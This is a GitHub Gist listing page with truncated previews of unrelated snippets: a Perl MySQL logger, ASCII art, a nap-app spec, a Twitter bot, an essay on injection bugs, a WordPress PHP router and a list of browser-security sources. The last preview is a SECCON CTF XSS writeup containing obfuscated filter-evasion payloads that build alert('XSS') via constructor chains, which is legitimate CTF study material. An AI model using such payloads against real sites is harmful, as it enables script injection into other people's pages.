Skip to content

Instantly share code, notes, and snippets.

View sters's full-sized avatar
🐱
meow!

sters sters

🐱
meow!
View GitHub Profile
package MySQLCasualLog;
use strict;
use warnings;
use utf8;
use DBIx::QueryLog;
use Term::ANSIColor;
use Text::ANSITable;
@cocuh
cocuh / color_motd
Last active August 29, 2015 14:09
/etc/motd
////////// \||///////////////////| _,,,,,,,弋///////|/////
//////// \||//////////////////|ム,,ィ-"""゙ \//////|/////
/////// \lマ/////////////≠//|ム マ/////|/////
//////,,,, \l_\//////////////|ム ヽ///|/////
/////  ̄ ̄ ̄\ V/////////////|ム `"|/|/////
//// \l ////// \/////ム キ…゛,,ィzzチミミミミア/|/////
/// \マ ////ム \////ム ヽzzチミミ刊::::,,:::O|| \ア|/////
// """マ、Ⅵ//ム \///ムi、チ i|i::::||::::|| リ|/////
/ム --zzzzzzzzzzzム ゙
(function(w,l){
//return;
var excludes = ['google.com'].join('|');
var trusted = ['dragonfly.opera.com','bit.ly','delicious.com','www.google.co.jp','gyazo.com','delicious.com','google.com','lingr.com','www.w3.org','ashula.info','fastladder.com','www.opera.com','opera-users.jp','puchi.co','oflo.in','ofton.in','opera-wiki.com','localhost','browser-festa.jp'
].join('|');
if ( !l.protocol.match(/http/)
|| ( w.parent !== w )
|| ( l.hostname.match(new RegExp('(' + excludes + ')$' )))
|| ( l.hostname.match(new RegExp('(' + trusted + ')$' )))
){
@oboenikui
oboenikui / Ohirune_Circle_Specification.md
Last active December 17, 2015 11:19
おひるねサークル仕様

##レベルについて
現在のレベルの変数をlevelとすると、次のレベルまでの総ポイント数(nextPoint)は
nextPoint = (level+1)*7*level/2+1;
で与えられます。何でこんな仕様にしたかはわかりません。遥か昔に忘れました。
つまり、例えば現在2Lvでおひるねポイントが9の場合は、(2+1)72/2+1=22なので、あと13ポイントで3Lvに見事レベルアップ、というわけです。

##おひるねできる時間と獲得ポイントについて

  • 寝る方
    最後に寝てから1時間以内の場合は、おひるねできません。働きましょう。ただし起きてからすぐ寝ることはできます。作者がそういう睡眠をよく取るからです。
@botchju
botchju / ohirune.html
Last active December 17, 2015 11:59 — forked from sters/ohirune.html
<html>
<body>
<a id="ohirune" target="_blank">おひるね</a>
<a id="okita" target="_blank">おきた</a>
<script type="text/javascript">
(function(){
function ohirune_web(mode){
var ohuton = ["[▓▓]", "[__]"];
@sasamijp
sasamijp / namechanger.rb
Created November 24, 2013 14:47
前Anonymousで公開してた
# -*- encoding: utf-8 -*-
require 'rubygems'
require 'tweetstream'
require 'twitter'
require './key.rb'
Twitter.configure do |config|
config.consumer_key = Const::CONSUMER_KEY
config.consumer_secret = Const::CONSUMER_SECRET
config.oauth_token = Const::ACCESS_TOKEN
# 私が考える安全なプログラムを書くために必要なこと
今も昔も「入力によって挙動が大幅に変わるAPI」が世の中には多数存在していて、プログラマが本来意図した挙動と異なる動作を引き起こしている。
- ファイルを開こうとしたらコマンドを実行できてしまったり
- CSSセレクタを書いてるつもりがHTMLタグを生成してしまったり
- SELECT文を発行するつもりがDELETE文を発行できてしまったり
こういったときに
- 入力値検証をしないと危険になる
@tamagokun
tamagokun / router.php
Last active March 12, 2020 11:15
Run a Wordpress site via PHP's built-in web server
<?php
$root = $_SERVER['DOCUMENT_ROOT'];
chdir($root);
$path = '/'.ltrim(parse_url($_SERVER['REQUEST_URI'])['path'],'/');
set_include_path(get_include_path().':'.__DIR__);
if(file_exists($root.$path))
{
if(is_dir($root.$path) && substr($path,strlen($path) - 1, 1) !== '/')
$path = rtrim($path,'/').'/index.php';
@azu
azu / browser-resources.md
Last active June 25, 2020 01:57
ブラウザ/セキュリティ/プライバシー周りの一次情報に近い二次情報の情報源をまとめたもの

一次情報に近い二次情報の情報源をまとめたもの。

ここでの一次情報はコミットとかコードのこと。

Browser

@tyage
tyage / bonsai-xss.js
Last active October 23, 2020 03:32
SECCON CTF 2014 Online Qualifications, XSS Bonsai writeup
";hoge14='constructorhoge14'.slice(84645-84645,84656-84645);hoge15='alerthoge14'.slice(84645-84645,84650-84645);hoge16='XSShoge14'.slice(84645-84645,84648-84645);[][hoge14][hoge14](hoge15+'(\''+hoge16+'\')')()//
\";hoge17='constructorhoge17'.substr(45998-45998,46009-45998);hoge18='alerthoge17'.substr(45998-45998,46003-45998);hoge19='XSShoge17'.substr(45998-45998,46001-45998);[][hoge17][hoge17](hoge18+'(\''+hoge19+'\')')()//
',(hoge20='constructorhogee'.replace('hogee',''),hoge21='alerthogee'.replace('hogee',''),hoge22='XSShogee'.replace('hogee',''),[][hoge20][hoge20](hoge21+'(\''+hoge22+'\')')()),'
")};hoge30=88831-88831;hoge31='cccchoge30'.split('')[hoge30]+'oooohoge30'.split('')[hoge30]+'nnnnhoge30'.split('')[hoge30]+'sssshoge30'.split('')[hoge30]+'tttthoge30'.split('')[hoge30]+'rrrrhoge30'.split('')[hoge30]+'uuuuhoge30'.split('')[hoge30]+'cccchoge30'.split('')[hoge30]+'tttthoge30'.split('')[hoge30]+'oooohoge30'.split('')[hoge30]+'rrrrhoge30'.split('')[hoge30];hoge32='aaaahoge30'.split('')[hoge30]+'llllhoge